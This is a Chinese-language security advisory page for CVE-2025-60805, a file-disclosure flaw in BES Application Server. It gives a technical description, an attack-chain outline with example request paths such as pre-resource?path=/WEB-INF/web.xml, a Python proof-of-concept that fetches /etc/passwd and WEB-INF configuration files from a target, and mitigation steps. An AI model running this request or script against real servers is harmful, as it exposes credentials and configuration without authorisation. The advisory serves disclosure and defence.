IPBUF安全漏洞报告
English
CVE-2025-60805 CVSS 7.5 高危

CVE-2025-60805 BESSystem BES Application Server 未授权信息泄露漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-60805
漏洞类型
未授权访问/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BESSystem BES Application Server

相关标签

CVE-2025-60805BESSystemBES Application Server信息泄露未授权访问配置文件泄露高危漏洞

漏洞概述

CVE-2025-60805是BESSystem公司开发的BES Application Server(版本9.5.x及之前)中的一个高危安全漏洞。该漏洞存在于bes-web.xml配置文件的"pre-resource"选项中,攻击者可以在无需任何认证的情况下利用此漏洞获取服务器上的敏感信息。由于该漏洞的CVSS评分为7.5(高危),且攻击向量为网络层面,无需用户交互和认证即可利用,因此对暴露在互联网或内部网络中的BES Application Server服务器构成严重威胁。攻击者可能通过构造特定的HTTP请求或利用XML配置解析功能,读取服务器配置文件中的敏感数据,包括但不限于数据库连接凭证、API密钥、内部路径结构等机密信息。一旦敏感信息被泄露,攻击者可能进一步横向移动,获取更多系统权限或执行后续攻击。

技术细节

该漏洞的核心问题在于BESSystem BES Application Server的bes-web.xml配置文件中的"pre-resource"选项存在访问控制缺陷。攻击者可以通过发送特制的HTTP请求,指定"pre-resource"参数为任意文件路径,服务器会返回该文件的内容而无需进行权限验证。具体技术细节如下:1. 漏洞位于BES Application Server的Web容器组件中,该组件在处理资源配置请求时直接读取文件系统路径而未进行充分授权检查。2. 攻击者可以利用类似以下请求格式获取敏感文件:http://target:port/bes-web-path/pre-resource?path=/path/to/sensitive/file。3. 成功利用后,攻击者可读取WEB-INF目录下的配置文件、操作系统敏感文件(如/etc/passwd)、应用日志文件等。4. 该漏洞与XML外部实体(XXE)注入不同,属于直接的路径遍历和信息泄露问题。5. CVSS向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N表明攻击复杂度低,无需特权和用户交互即可实现机密性影响。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内部网络,识别运行BESSystem BES Application Server的服务器(通常监听8080端口)
STEP 2
步骤2
构造恶意请求:攻击者构造包含pre-resource参数的HTTP GET请求,指定目标文件路径为敏感配置文件
STEP 3
步骤3
发送利用请求:攻击者向目标服务器的bes-web端点发送恶意请求,如/bes-web/pre-resource?path=/WEB-INF/web.xml
STEP 4
步骤4
获取敏感信息:服务器未授权返回请求的文件内容,攻击者获得数据库凭证、API密钥、配置信息等机密数据
STEP 5
步骤5
横向移动:利用获取的凭证访问数据库或其他内部系统,进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60805 PoC - BESSystem BES Application Server Unauthorized Information Disclosure Reference: https://www.cve.org/CVERecord?id=CVE-2025-60805 """ import requests import sys import argparse def check_vulnerability(target_url, file_path='/etc/passwd'): """ Test for CVE-2025-60805 by attempting to access sensitive files via the pre-resource option in bes-web.xml """ targets = [ f"{target_url}/bes-web/pre-resource?path={file_path}", f"{target_url}/web-inf/bes-web.xml", f"{target_url}/WEB-INF/web.xml", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") print(f"[*] Attempting to read: {file_path}") for target in targets: try: print(f"\n[*] Trying: {target}") response = requests.get(target, headers=headers, timeout=10, verify=False) if response.status_code == 200: if len(response.text) > 0 and 'root' in response.text or '<?xml' in response.text: print(f"[!] VULNERABLE! Successfully retrieved file content:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Target may not be vulnerable or file not accessible") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-60805 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://target.com:8080)') parser.add_argument('-f', '--file', default='/etc/passwd', help='File path to read') args = parser.parse_args() result = check_vulnerability(args.target, args.file) sys.exit(0 if result else 1)

影响范围

BESSystem BES Application Server <= 9.5.x

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络层访问控制限制对BES Application Server管理接口的访问,仅允许受信任的IP地址访问;2) 在反向代理或WAF层面配置URL过滤规则,阻止包含'pre-resource'和'path='参数的请求模式;3) 检查并移除bes-web.xml中不必要的pre-resource配置项;4) 加强服务器文件系统权限,限制Web服务账户对敏感目录的读取权限;5) 启用详细的访问日志和告警机制,及时发现异常探测和利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表